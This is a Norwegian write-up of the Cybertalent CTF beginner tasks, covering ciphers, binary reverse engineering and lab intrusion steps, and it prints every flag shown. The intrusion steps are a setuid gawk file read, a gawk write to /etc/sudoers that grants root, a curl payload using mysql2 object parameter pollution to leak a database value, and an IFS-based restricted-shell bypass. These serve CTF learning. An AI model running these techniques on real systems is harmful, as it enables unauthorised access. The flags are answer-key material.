Post

Etjenesten25 - Grunnleggende

Writeup for Grunnleggende-oppgavene fra Cybertalent CTF

Etjenesten25 - Grunnleggende

Grunnleggende

1.1_Scoreboard

1
2
3
4
5
6
7
8
9
10
11
12
login@corax ~/1_grunnleggende/1.1_Scoreboard $ md LESMEG.md
┄Scoreboard

Gjør deg kjent med scoreboard-kommandoen.

Denne bruker du for å se oversikt over oppgaver du har låst opp og kan løse, sammen med oppgaver du allerede har løst.

For å levere flagg kjører du denne med flagget som et posisjonelt argument.

<snip>

Flagg er på formatet [0-9a-f]{32} (en MD5 hash i heksadesimal) og kan se slik ut: e4d8fc322417e82764c82923b9eb4f80

Første oppgave er enkel nok, vi blir gitt flagget i oppgaveteksten og trenger bare å levere det med scoreboard kommandoen.

1
2
3
4
login@corax ~/1_grunnleggende/1.1_Scoreboard $ scoreboard e4d8fc322417e82764c82923b9eb4f80

1.1.1 Scoreboard
Hvis du ser dette, har du klart det :)

1.2_Username

1
2
3
4
5
6
7
8
login@corax ~/1_grunnleggende/1.2_Username $ md LESMEG.md
┄Username

Gjør deg kjent med username-kommandoen. Denne bruker du for å se eller endre brukernavnet som vises på scoreboardet på nettsiden.

<snip>

Når du føler deg fornøyd kan du levere dette flagget for å fullføre oppgaven: 80d32d56199a49d90fd489d139defd0c

Samme som første oppagve, flagget står i oppgaveteksten.

1
2
3
4
login@corax ~/1_grunnleggende/1.2_Username $ scoreboard 80d32d56199a49d90fd489d139defd0c

1.2.1 Username
Check! En hacker med et tøft brukernavn er bedre enn en uten.

1.3_FAQ

1
2
3
4
login@corax ~/1_grunnleggende/1.3_FAQ $ md LESMEG.md
┄FAQ

Gjør deg kjent med nettsiden! Kanskje finner du flagg?

Inn på FAQ siden som er linket til er det en seksjon hvor det er et flagg. 1_3_faq_flagg

1
2
3
4
5
login@corax ~/1_grunnleggende/1.3_FAQ $ scoreboard d15f097c36751dbc606a9a35940b6987

1.3.1 FAQ
Lurt å lese ofte stilte spørsmål! Om det er noe du lurer på,
ta forbindelse med @etjenesten på Discord.

1.4_Discord

1
2
3
4
login@corax ~/1_grunnleggende/1.4_Discord $ md LESMEG.md
┄Discord

Bli med i Discord-serveren!

Flagget ligger i channel-topic til cybertalent kanalen på Discorden deres. Velkommen hit! 1f2f599e66f73bea747f3959c97bb0d5

1
2
3
4
login@corax ~/1_grunnleggende/1.4_Discord $ scoreboard 1f2f599e66f73bea747f3959c97bb0d5

1.4.1 Discord
Send oss en melding om du lurer på noe relatert til Talentprogrammet eller CTFen!

1.5_Chiffermelding

1
2
3
4
5
6
7
8
9
10
login@corax ~/1_grunnleggende/1.5_Chiffermelding $ md LESMEG.md
┄Chiffermelding

Når man vil sende meldinger uten at andre lett kan lese dem, kan man bruke en form for chiffer for å gjøre teksten uforståelig.

Ser du imidlertid litt nærmere på bokstavene, er det lett å få rimelig mening ut av dem...

────────────────────
nc chiffermelding 1337
────────────────────

Kobler vi til servicen får vi chiffermeldingen.

1
2
3
4
5
6
login@corax ~/1_grunnleggende/1.5_Chiffermelding $ nc chiffermelding 1337
Her har du en hemmelig melding:
omtfidogiriganøagmremfneohrraeareaenrldrsjekedeg
- Signert av Roscher Lund

Finn ut hva den opprinnelige meldingen var, og fortell meg hvem som skrev den

Bokstavene ser ganske “normale” og “norske” ut, altså er det lite sannsynlig at det er gjort noe veldig komplisert med de (siden vi ikke har bokstaver som Q, W, C, X, osv.). Hvis man “leker” litt med bokstavene, så vil man etterhvert se at de blir lesbar hvis man setter de opp i en 16x3 grid.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
omt
fid
ogi
rig
anø
agm
rem
fne
ohr
rae
are
aen
rld
rsj
eke
deg

Leser man loddrett får man setningen o foraar foraar red mig ingen har elsket dig ømmere end jeg, som er skrevet av Henrik Wergeland.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
login@corax ~/1_grunnleggende/1.5_Chiffermelding $ nc chiffermelding 1337
Her har du en hemmelig melding:
omtfidogiriganøagmremfneohrraeareaenrldrsjekedeg
- Signert av Roscher Lund

Finn ut hva den opprinnelige meldingen var, og fortell meg hvem som skrev den

> Henrik Wergeland

55791d3e6f2ffd340b874ebe263ddc04


login@corax ~/1_grunnleggende/1.5_Chiffermelding $ scoreboard 55791d3e6f2ffd340b874ebe263ddc04

1.5.1 Chiffermelding
Bra jobbet! Kryptoanalyse og forsering av kryptert tekst uten kjennskap til nøkkelmateriale er noe som vil være nyttig å beherske fremover

1.6_Unchained

1
2
3
4
5
6
7
8
login@corax ~/1_grunnleggende/1.6_Unchained $ md LESMEG.md
┄Unchained

Koble til med SSH med passord: EnergiskSkjorte

────────────────────
ssh support@unchained
────────────────────

I hjemmemappa til brukeren på maskinen ligger det en secret.txt som bare root får lese.

1
2
3
unchained:~$ ls -l
total 4
-rw-------    1 root     root            33 Dec 26 22:29 secret.txt

Siden bare root kan lese filen, må vi enten gjør privesc, eller bruke noe ala. setuid for å lese filen. Vi har ikke sudo rettigheter på boksen, så setuid virker som den mest sannsynlige måten.

Vi lister ut alle setuid binaries på boksen, og sjekker de opp mot GTFObins. busybox og gawk skiller seg ut fra de andre.

1
2
3
4
5
6
7
8
9
10
11
12
unchained:~$ find / -type f -perm /u=s 2>/dev/null
/bin/busybox
/bin/mount
/bin/umount
/usr/bin/passwd
/usr/bin/gawk
/usr/bin/chage
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/expiry
/usr/bin/gpasswd
/usr/bin/sudo

busybox dropper bare privilegiene våre når vi prøver å bruke den, men gawk funker fint for å lese flagget (man skal også kunne få shell med gawk, men privilegiene for shellet mitt ble bare droppet).

1
2
unchained:~$ gawk '//' "/home/support/secret.txt"
657f1cbfd9e347a0a56557cd52210563
1
2
3
4
login@corax ~/1_grunnleggende/1.6_Unchained $ scoreboard 657f1cbfd9e347a0a56557cd52210563

1.6.1 Unchained
Bra jobbet! Å kunne lese noe man ikke skal ha tilgang til er en stor sikkerhetsrisiko!

Siden det kan ligge Skjulte flagg eller Umulige flagg rundt omkring i oppgaver hvis man går litt off-track, tenkte jeg at det kanskje kunne finnes et i hjemmemappa til root. Målet mitt var derfor å få shell som root.

Vi har ikke sudo rettigheter på boksen, men det er fordi vi ikke er i /etc/sudoers fila!

1
2
3
unchained:~$ sudo -l
[sudo] password for support:
Sorry, user support may not run sudo on unchained.

gawk kan skrive til filer, så vi kan bare appende til sudoers fila slik at vi får sudo rettigheter.

1
2
3
4
5
6
7
8
unchained:~$ gawk -v LFILE=/etc/sudoers 'BEGIN { print "support ALL=NOPASSWD: ALL" >> LFILE }'
unchained:~$ sudo su root
/home/support # ls -alh /root
total 8K
drwx------    1 root     root          26 Dec 27 00:00 .
drwxr-xr-x    1 root     root          63 Dec 26 22:29 ..
-rw-------    1 root     root          32 Dec 27 00:00 .ash_history
-rwxrwxr-x    1 root     root         199 Dec 12 20:42 init.sh

Dessverre lå det ikke noe ekstra flagg der… :(

1.7_Innslippsord

1
2
3
4
login@corax ~/1_grunnleggende/1.7_Innslippsord $ md LESMEG.md
┄Innslippsord

Finner du ordet?

Vi får utdelt en binary som spør etter et passord når den kjøres.

1
2
3
4
5
6
login@corax ~/1_grunnleggende/1.7_Innslippsord $ ./innslippsord
=== Password Checker ===
System Ready.
Please enter password:
> asd
Wrong password.

Når vi åpnet filen i IDA gjør ikke main annet enn å lese inn opp til 64 tegn, og deretter kalle på funksjonen check_pw som har all logikken implementert.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
_BOOL8 __fastcall check_pw(char *a1) {
  unsigned __int8 v2; // [rsp+11h] [rbp-5Fh]
  int v3; // [rsp+14h] [rbp-5Ch]
  int i; // [rsp+18h] [rbp-58h]
  char v5[64]; // [rsp+20h] [rbp-50h]

  *(_QWORD *)v5 = 0xA3555B22F1748B5LL;
  *(_QWORD *)&v5[8] = 0x4030201BAC98030LL;
  *(_QWORD *)&v5[16] = 0xC0B0A0908070605LL;
  *(_QWORD *)&v5[24] = 0x14131211100F0E0DLL;
  *(_QWORD *)&v5[32] = 0x3A2A1890F179F909LL;
  *(_QWORD *)&v5[40] = 0x309AD966FDFFCE04LL;
  *(_QWORD *)&v5[48] = 0x3CB79B4DE323FCCCLL;
  *(_QWORD *)&v5[56] = 0x27921D845263E06ALL;
  v3 = 0x1234ABCD;
  for ( i = 0; i < 32; ++i )
  {
    v2 = a1[i];
    if ( !v2 )
      return 0;
    if ( (i & 1) != 0 )
      v3 ^= 17 * v2;
    else
      v3 += v2 ^ 0xA5;
    if ( ((unsigned __int8)(3 * i) ^ (unsigned __int8)rol((unsigned __int8)(v2 ^ v5[i]), ((_BYTE)i + 1) & 7)) != ((unsigned __int8)v5[i + 32] ^ (unsigned __int8)(3 * i)) )
      return 0;
  }
  return a1[32] == 0;
}

Funksjonen har litt bloat. Blant annet brukes ikke v3 til noe, og inni if-sjekken blir begge sider av likhetstegnet (=) XORet med (unsigned __int8)(3 * i), som gjør at de kansellerer hverandre. Funksjonen blir fort mye simplere når vi rydder litt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
_BOOL8 __fastcall check_pw(char *input_pw) {
  char key[32];
  char obf_password[32];

  *(_QWORD *)key = 0xA3555B22F1748B5LL;
  *(_QWORD *)&key[8] = 0x4030201BAC98030LL;
  *(_QWORD *)&key[16] = 0xC0B0A0908070605LL;
  *(_QWORD *)&key[24] = 0x14131211100F0E0DLL;
  *(_QWORD *)obf_password = 0x3A2A1890F179F909LL;
  *(_QWORD *)&obf_password[8] = 0x309AD966FDFFCE04LL;
  *(_QWORD *)&obf_password[16] = 0x3CB79B4DE323FCCCLL;
  *(_QWORD *)&obf_password[24] = 0x27921D845263E06ALL;

  for (int i = 0; i < 32; i++) {
    if (!input_pw[i])
      return 0;

    if (rol((input_pw[i] ^ key[i]), (i + 1) % 8) != obf_password[i] )
      return 0;
  }
  return input_pw[32] == 0;
}

Vi må gi inn et passord som er 32-bytes, og hver byte blir xoret med med byten på samme index i keyen. Deretter blir den resulterende byten fra xoren rotert til venstre (bitwise rotate left) (i + 1) % 8 ganger. Resultatet av dette må være lik obf_password[i], hvis ikke terminerer programmet og sier vi har feil passord.

Operasjonene som utføres av programmet på inputet vårt (xor og rol) er reverserbare, så vi kan gjøre ror (bitwise rotate right) på obf_password[i], og deretter xor med byten på korrekt index i keyen, for å finne det korrekte passordet. Jeg lagde et script i C som gjør akkurat dette.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdint.h>

static uint8_t ror(const uint8_t value, int shift) {
    return (value >> shift) | (value << (sizeof(value)*8 - shift));
}

int main() {
    char flag[33] = {0};
    uint8_t key[32] = {0};
    uint8_t obf_password[32] = {0};

    *(uint64_t *)key = 0xA3555B22F1748B5LL;
    *(uint64_t *)&key[8] = 0x4030201BAC98030LL;
    *(uint64_t *)&key[16] = 0xC0B0A0908070605LL;
    *(uint64_t *)&key[24] = 0x14131211100F0E0DLL;
    *(uint64_t *)&obf_password[0] = 0x3A2A1890F179F909LL;
    *(uint64_t *)&obf_password[8] = 0x309AD966FDFFCE04LL;
    *(uint64_t *)&obf_password[16] = 0x3CB79B4DE323FCCCLL;
    *(uint64_t *)&obf_password[24] = 0x27921D845263E06ALL;

    for(int i = 0; i < 32; i++) {
        flag[i] = ror(obf_password[i], (i+1) % 8) ^ key[i];
    }

    printf("%s\n", flag);
    return 0;
}
1
2
login@corax ~ $ gcc solve.c -o solve && ./solve
168065a0236e2e64c9c6cdd086c55f63

Passordet vi får ut er flagget til oppgaven.

1
2
3
4
5
6
7
8
9
10
11
12
13
login@corax ~/1_grunnleggende/1.7_Innslippsord $ ./innslippsord
=== Password Checker ===
System Ready.
Please enter password:
> 168065a0236e2e64c9c6cdd086c55f63
Correct password!
Flag = Password


login@corax ~/1_grunnleggende/1.7_Innslippsord $ scoreboard 168065a0236e2e64c9c6cdd086c55f63

1.7.1 Innslippsord
Velkommen inn!

1.8_Kryptogram

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
login@corax ~/1_grunnleggende/1.8_Kryptogram $ md LESMEG.md
┄Kryptogram

Er du vår neste Egil Mørk? Tiden skrus tilbake til den mørke dagen 23. november 1935.

Som det vil sees er knekningen av et kryptogram ingen heksekunst, men det krever litt tålmodighet og at man prøver seg frem og tar fantasien til hjelp.

Benevnelser og arbeidsmetoder kan kanskje virke litt fremmed i første øyeblikk, men setter man seg inn i saken, er den i virkeligheten enkel.

Du kan hente kryptogrammet her:

────────────────────
nc kryptogram 1337
────────────────────

Besvarelsen du sender inn, finner du i innholdet av meldingen.
1
2
3
login@corax ~/1_grunnleggende/1.8_Kryptogram $ nc kryptogram 1337
Her er kryptogrammet:
øwbxl hjcbx læxmx fpxfx lmrcb xlpxo rvøpl rlvrc hrjlø cjxøp brdrb xbræs xlxbb xfhxl yxocx lwfxy øvwjf dryxf xjhhy føvæf apxcp jyxjf yxbøb bxfoj jmwfx mjdxf

I motsentning til oppgave 1.5 Chiffermelding inneholder dette kryptogrammet mange “uvanlige” bokstaver som sjeldent forekommer i norske ord, så vi kan ikke bare flytte rundt på bokstavene for å finne klarteksten.

Hvis man googler Egil Mørk kryptografi finner man fort en bok som heter Svartkammeret som han har skrevet. Søker man etter 23. november 1935 i boken finner man følgende avsnitt på side 15:

1
Dermed la han også grunnlaget for dagens norsk signaletterretning. Denne ultramoderne og superhemmelige elektroniske spionasjen, som idag drives av hemmelige menn i hemmelige stasjoner fra Oslo i sør til Vadsø i nord, startet egentlig med en unnselig artikkel i A-Magasinet lørdag 23. november 1935.

Denne delen av boken handler om hvordan Egil Mørk kom over et kryptogram i A-Magasinet, som ligner på kryptogrammet i denne oppgaven. Vi får bekreftet dette da både heksekunst setningen og arbeidsmetoder setningen i oppgaveteksten forekommer i A-magasinet artikkelen. Selve A-magasinet oppgaven kan man finne her.

Leser man premieoppgaven i den originale artikkelen får man vite at x=e, og at teksten inneholder ordet bomber. Det første virker sannsynlig for vårt kryptogram også, men ordet bomber passer ikke inn noen sted hos oss. Men siden vi får frekvenstabellen til norske bokstaver i artikkelen, så vet vi at vi må bruke substitusjons-chiffer for å løse kryptogrammet.

Ved å bruke boxentriq får man en del korrekte mappinger mellom bokstaver (merk at man må velge svensk for den automatiske solveren). De resterende mappingene kan man finne relativt intuitivt.

Vi får da klarteksten

1
aftenposten bemerker mistenkelig økning i spionasjeaktivitet i byen etter hendelsen fredag for videre oppdrag brukes kodeordet atterloom fremover

Kodeordet er nøkkelen til å få flagget.

1
2
3
4
5
6
7
login@corax ~/1_grunnleggende/1.8_Kryptogram $ nc kryptogram 1337
Her er kryptogrammet:
øwbxl hjcbx læxmx fpxfx lmrcb xlpxo rvøpl rlvrc hrjlø cjxøp brdrb xbræs xlxbb xfhxl yxocx lwfxy øvwjf dryxf xjhhy føvæf apxcp jyxjf yxbøb bxfoj jmwfx mjdxf

> atterloom

c200dab665dcb92560f03d863fa04ccb

For de som lurer på hva klarteksten til det originale A-magasin kryptogrammet er, så bruker den samme key-mapping som denne oppgaven.

1
byens luftforsvar er nu bragt i orden aftenposten meddeler at der faldt fire sprengbomber i byen under luftangrepet fredag men uten virkning

1.9_NoSQL

1
2
3
4
5
6
login@corax ~/1_grunnleggende/1.9_NoSQL $ md LESMEG.md
┄NoSQL

Valider flaggene dine med vår flaggsjekker, som har innebygde tiltak mot SQL Injection for å sikre at flaggene er trygge.

https://nosql.ctf.cybertalent.no

Besøker vi nettsiden ser vi at det er en flag-checker. 1_9_nosql_web

Vi får også tilgang til kildekoden til websiden, som jeg her har strippet ned til å bare inneholde de viktigste delene:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
const express = require('express');
const mysql = require('mysql2/promise');

const app = express();

function nosql(req, res, next) {
  let input = JSON.stringify(req.body || "").toLowerCase();

  let blacklist = ['select','union','insert','update','delete','drop','alter','create','truncate','replace','rename','handler','load','limit','or','and','xor','like','regexp','sleep','benchmark','extractvalue','updatexml','information_schema','mysql','sys','version','pg_catalog','sqlite_master','case','when','then','end','--','#','/*','*/',';',"'"];

  if (blacklist.some(k => input.includes(k))) {
    return res.status(403).json({
      ok: false,
      error: "Hacking attempt detected! No SQL allowed!"
    });
  }
  next();
}

app.use('/validate', express.json());
app.use('/validate', nosql);

const {
  MYSQL_HOST,
  MYSQL_PORT,
  MYSQL_DATABASE,
  MYSQL_USER,
  MYSQL_PASSWORD,
  FLAG = 'FAKEFLAGFAKEFLAGFAKEFLAG',
  PORT = 80
} = process.env;

const db = mysql.createPool({
  host: MYSQL_HOST,
  port: MYSQL_PORT,
  user: MYSQL_USER,
  password: MYSQL_PASSWORD,
  database: MYSQL_DATABASE,
  waitForConnections: true,
  connectionLimit: 10,
  connectTimeout: 5000
});

async function initDb() {
  const createSql = `
    CREATE TABLE IF NOT EXISTS flags (
      id INT AUTO_INCREMENT PRIMARY KEY,
      flag TEXT NOT NULL
    ) ENGINE=InnoDB
  `;

  await db.query(createSql);
  if (!FLAG) return;

  const insertSql = `
    INSERT INTO flags (flag)
    SELECT ? FROM (SELECT 1) AS tmp
    WHERE NOT EXISTS (SELECT 1 FROM flags WHERE flag = ?)
    LIMIT 1
  `;
  await db.query(insertSql, [FLAG, FLAG]);
}

app.post('/validate', async (req, res) => {
  let { flag } = req.body;
  if (!flag)
    return res.status(400).json({ ok: false, error: "Can't check a missing flag." });

  let sql = 'SELECT flag FROM flags WHERE flag = ? LIMIT 1';
  try {
    let [rows] = await db.query(sql, [flag]);
    flag = rows.length ? rows[0].flag : null;
    if (!flag)
      return res.json({ ok: false, message: 'That flag is invalid!' });
    return res.json({ ok: true, message: `${flag} is a valid flag!` });
  } catch (err) {
    console.error('DB error:', err);
    return res.status(500).json({ ok: false, error: 'db error' });
  }
});

initDb()
  .then(() => {
    app.listen(PORT, () => {
      console.log(`Server is running on http://localhost:${PORT}`);
    });
  })
  .catch(err => {
    console.error('Failed to initialize DB:', err);
    process.exit(1);
  });

Ved første øyekast virker det som om at man skal bypasse blacklisten for å få utført en eller annen SQL-injection, men den dekker veldig mange keywords så da skal man kunne SQL-injection veldig godt. Ser for meg at det f.eks kunne vært et umulig flagg å få shell med dette.

For å få tak i flagget i databasen trenger man ikke gjøre noen “vanlig” SQL injection. Svakheten ligger derimot i hvordan request-bodyen parses og sendes til mysql2 driveren når den lager sql queryen, hvor man kan gjøre en såkalt Object Parameter Pollution.

Hack The Box University CTF 2025 hadde nylig en oppgave som heter PeppermintRoute og som bruker en variant av denne svakheten i mysql2 biblioteket (teknisk sett er det vel kanskje en feature som er ment med update queries, men men…). Min løsning er ikke helt lik denne, men bruker samme konseptet. Jeg anbefaler å lese denne writeupen for mer tekniske detaljer om hva som skjer under the hood.

Hvis vi setter flag til å være et objekt som inneholder "flag": "1", så vil vi passere den første if-sjekken i /validate endepunktet.

1
2
3
4
5
// req.body = { flag: { flag: '1' } }
// flag = { flag: '1' }
let { flag } = req.body;
if (!flag)
  return res.status(400).json({ ok: false, error: "Can't check a missing flag." });

Siden flag = { 'flag': '1' } vil SQL-queryen som blir kjørt mot databasen da etter min forståelse bli noe som dette:

1
SELECT flag FROM flags WHERE flag = `flag` = 1 LIMIT 1

Dette vil da gi treff på flagget i databasen, uten at vi egentlig vet hva det er, og serveren sender det tilbake til oss.

1
2
loevland@ctf:~/ctf/cybertalent/grunnleggende/1_9_nosql$ curl -X POST https://nosql.ctf.cybertalent.no/validate -H "Content-Type: application/json" --data-raw '{"flag": {"flag": "1"}}'
{"ok":true,"message":"28696be6f82e96166a2177d976d32cb9 is a valid flag!"}
1
2
3
4
login@corax ~/1_grunnleggende/1.9_NoSQL $ scoreboard 28696be6f82e96166a2177d976d32cb9

1.9.1 NoSQL
Hvordan klarte du SQL injection uten SQL? Bra jobbet!

1.10_Breakout

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
login@corax ~/1_grunnleggende/1.10_Breakout $ md LESMEG.md
┄Breakout

Koble til med SSH:

────────────────────
ssh user1@breakout
────────────────────

og bruk passord: EssensieltFantom

┄┄Tips

For å bytte bruker inne på maskinen brukes su - brukernavn

For hver bruker leter du etter en .txt fil med samme navn. Denne inneholder brukernavn:passord for neste bruker.

I enden venter det et flagg.

user1

Vi logger inn via ssh og finner passordet til user2.

1
2
3
4
breakout:~$ ls
user1.txt
breakout:~$ cat user1.txt
user2:fbGndQlY00uH7XKQhgLZ

user2

Passordet til user3 ligger i en skjult fil i hjemmemappa til user2.

1
2
3
4
5
6
7
~ $ ls -alh
total 4K
dr-x------    1 user2    user2         24 Dec 27 22:16 .
drwxr-xr-x    1 root     root         102 Dec 16 21:14 ..
-rw----r--    1 root     root          27 Dec 27 22:16 .user2.txt
~ $ cat .user2.txt
user3:c3AeL7FVV4flezQrtqMp

user3

I hjemmemappa til user3 ligger det en note.txt med et hint som man lett kan overse. Vi har ikke lesetilgang til secret_information mappen, så vi kan ikke se hva som er inni den. Det er her note.txt hinter til ei mappe som heter super_secret_information, hvor passordet til user4 også ligger.

1
2
3
4
5
6
7
8
9
10
11
12
~ $ ls
note.txt            secret_information
~ $ cat note.txt
At long last I found the secret information
It has always been my greatest goal
But at the end of it all I was told
The rumoured super_secret_information
Still remains elusive as ever
~ $ ls secret_information/super_secret_information
transaction.png  user3.txt
~ $ cat secret_information/super_secret_information/user3.txt
user4:ljzdFRAAEPVgsmpS9jjs

user4

Vi får her ei fil som bare kan leses av root og brukere i gruppen nisser. Kjører vi sudo -l kan vi se at vi kan kjøre cat som julenissen brukeren.

1
2
3
4
5
6
7
8
9
10
~ $ ls -alh
total 4K
dr-x--x---    1 user4    nisser        23 Dec 27 22:16 .
drwxr-xr-x    1 root     root         102 Dec 16 21:14 ..
-rw-r-----    1 root     nisser        27 Dec 27 22:16 user4.txt
~ $ sudo -l
User user4 may run the following commands on breakout:
    (julenissen) NOPASSWD: /bin/cat
~ $ sudo -u julenissen /bin/cat user4.txt
user5:by5Ohq0O0t6FE376V4aU

user5

Mulig noe er miskonfigurert i denne oppgaven, for hvis vi bruker su fra user4 til user5, så kan vi bare lese passordet til user5 direkte fordi alle brukere har lesetilgang.

1
2
3
4
5
6
breakout:~$ ls -l
total 4
drwxr-xr-x    2 root     root            16 Dec 16 21:14 bin
-rw----r--    1 root     root            27 Dec 27 22:16 user5.txt
breakout:~$ cat user5.txt
user6:PBGxWwadxM1y1oo5HfFj

user6

Hvis man bruker su fra user5 til user6 får man et interessant problem i at man ikke får gjort så veldig mye. Som user6 havner man i et restricted bash shell (rbash), og hvis man står i hjemmemappa til user5 for eksempel, så har man ikke permissions til å gjøre noe. Så her sshet jeg inn til user6 istedet for å slippe disse ekstra greiene.

1
2
3
4
5
6
login@corax ~/1_grunnleggende/1.10_Breakout $ ssh user6@breakout
user6@breakout's password:
~$ ls
bin       flag.txt
~$ ls bin
No whitespace allowed

Vi har ikke lov til å bruke mellomrom i kommandoene våre. Heldigvis er det noe i bash som heter IFS (Internal Field Separator) i bash, som er en shell-variabel som sier hvilke karakterer som brukes for å splitte ord man skriver i terminalen. By default er dette mellomrom, tab og newline. Vi kan dermed substituere mellomrom med denne variabelen for å hente flagget. For å bruke denne variabelen skriver vi ${IFS} der vi vanligvis ville brukt mellomrom.

Først sjekker vi hva som ligger i bin mappa, for det er sannsynligvis bare de binaryene som ligger her som vi kan kjøre.

1
2
~$ ls${IFS}bin
cat            ls             restricted.sh

Vi kan kjøre ls og cat. Da blir henting av flagget trivielt siden vi allerede vet hvordan vi skal unngå å bruke mellomrom.

1
2
~$ cat${IFS}flag.txt
9cc6d458db858f24fa935ec8651d795f
1
2
3
4
login@corax ~ $ scoreboard 9cc6d458db858f24fa935ec8651d795f

1.10.1 Breakout
Som escape room for datanerder!

1.11_Solveme

1
2
3
4
login@corax ~/1_grunnleggende/1.11_Solveme $ md LESMEG.md
┄SolveMe

Finn passordene for å dekryptere flaggene

Denne oppgaven inneholder 5 flagg, som alle er lokalisert inni den samme binaryen vi får utdelt.

main funksjonen til binaryen ser omtrent ut som dette, og sier oss at programmet er skrevet i c++. Vi skal finne fire passord, og hvert korrekt passord gir oss ett flagg.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx
  __int64 v4; // rdx
  __int64 v5; // rdx
  _BYTE v7[32]; // [rsp+0h] [rbp-C0h] BYREF
  _BYTE v8[32]; // [rsp+20h] [rbp-A0h] BYREF
  _BYTE v9[32]; // [rsp+40h] [rbp-80h] BYREF
  _BYTE v10[32]; // [rsp+60h] [rbp-60h] BYREF
  _BYTE v11[40]; // [rsp+80h] [rbp-40h] BYREF

  std::string::basic_string(v7, argv, envp);
  std::string::basic_string(v8, argv, v3);
  std::string::basic_string(v9, argv, v4);
  std::string::basic_string(v10, argv, v5);
  std::operator<<<std::char_traits<char>>(&std::cout, "\nEnter your first password, please: ");
  std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v7);
  std::string::basic_string(v11, v7);
  checkPassword1(v11);
  std::operator<<<std::char_traits<char>>(&std::cout, "\nEnter your second password, please: ");
  std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v8);
  std::string::basic_string(v11, v8);
  checkPassword2(v11);
  std::operator<<<std::char_traits<char>>(&std::cout, "\nEnter your third password, please: ");
  std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v9);
  std::string::basic_string(v11, v9);
  checkPassword3(v11);
  std::operator<<<std::char_traits<char>>(&std::cout, "\nEnter your fourth password, please: ");
  std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v10);
  std::string::basic_string(v11, v10);
  checkPassword4(v11);
  return 0;
}

Solveme Del 1

checkPassword1 er første passord-sjekk vi må komme oss igjennom. Den funksjonen ser slik ut i IDA (har ryddet litt i funksjonen).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 __fastcall checkPassword1(__int64 a1)
{
  int i; // [rsp+1Ch] [rbp-84h]
  _BYTE v3[32]; // [rsp+20h] [rbp-80h] BYREF
  _BYTE v4[64]; // [rsp+40h] [rbp-60h]
  __int64 v5; // [rsp+78h] [rbp-28h]

  if ( (unsigned __int8)std::operator!=<char>(a1, "SuperSecretPass!") )
    exit(1);
  std::string::basic_string(v3, a1);
  decrypt(&flag1, &flag1, v3);
  std::string::basic_string(v3, a1);
  decrypt(&flag2, &flag2, v3);
  std::string::basic_string(v3, a1);
  decrypt(&flag3, &flag3, v3);
  std::string::basic_string(v3, a1);
  decrypt(&flag4, &flag4, v3);
  *(_QWORD *)v4 = flag1;
  *(_QWORD *)&v4[8] = qword_7028;
  *(_QWORD *)&v4[16] = qword_7030;
  *(_QWORD *)&v4[24] = qword_7038;
  *(_QWORD *)&v4[32] = qword_7040;
  *(_QWORD *)&v4[40] = qword_7048;
  *(_QWORD *)&v4[48] = qword_7050;
  *(_QWORD *)&v4[56] = qword_7058;
  std::operator<<<std::char_traits<char>>(&std::cout, "\nYou made it! Here is your prize:\n");
  for ( i = 0; i <= 63; ++i )
  {
    std::operator<<<std::char_traits<char>>(&std::cout, v4[i]);
    if ( v4[i] == '}' )
      break;
  }
  return 0;
}

Vi ser fra den første if-sjekke i funksjonen at passordet er SuperSecretPass!. Passordet vi gir inn brukes til å dekryptere flagget som tilhører del-oppgaven, i tillegg til å dekryptere ett steg av de resterende flaggene (med andre ord er de andre flaggene kryptert flere ganger). Denne dekrypteringen av flere flagg skjer i de andre passordsjekk-funksjonene også (bare med ett mindre flagg for hver gang). Så denne delen av de resterende funksjonene hopper vi over for simpelhetens skyld.

1
2
3
4
Enter your first password, please: SuperSecretPass!

You made it! Here is your prize:
FLAG{Strings_are_all_you_need}
1
2
3
4
login@corax ~/1_grunnleggende/1.11_Solveme $ scoreboard FLAG{Strings_are_all_you_need}

1.11.1 Solveme
Dette klarte du jo! Det er flere flagg å finne her...

Solveme Del 2

Funksjonen ser slik ut i IDA (dekrypterings-delen ved korrekt passord er fjernet).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall checkPassword2(__int64 a1)
{
  char v1; // bl
  __int64 v2; // rax
  char v4; // [rsp+17h] [rbp-A9h] BYREF
  int i; // [rsp+18h] [rbp-A8h]
  int j; // [rsp+1Ch] [rbp-A4h]
  _BYTE v7[32]; // [rsp+20h] [rbp-A0h] BYREF
  _BYTE v8[32]; // [rsp+40h] [rbp-80h] BYREF

  std::allocator<char>::allocator(&v4);
  std::string::basic_string<std::allocator<char>>(v7, "What a beautiful password you have chosen for yourself!", &v4);
  std::allocator<char>::~allocator(&v4);
  for ( i = 0; i <= 15; ++i )
  {
    v1 = *(_BYTE *)std::string::operator[](a1, i);
    if ( v1 != *(_BYTE *)std::string::operator[](v7, i + 5) )
      exit(1);
  }
  // <snip>
}

For-løkken sjekker 16 bokstaver i passordet vårt, og det må matche v7 strengen fra indeks 5 og utover (merk i + 5 istedet for i). Passordet er dermed a beautiful pass.

1
2
3
4
5
Enter your second password, please: a beautiful pass
What a beautiful password you have chosen for yourself!

Here is your prize:
FLAG{Start_the_day_on_the_right_offset}
1
2
3
4
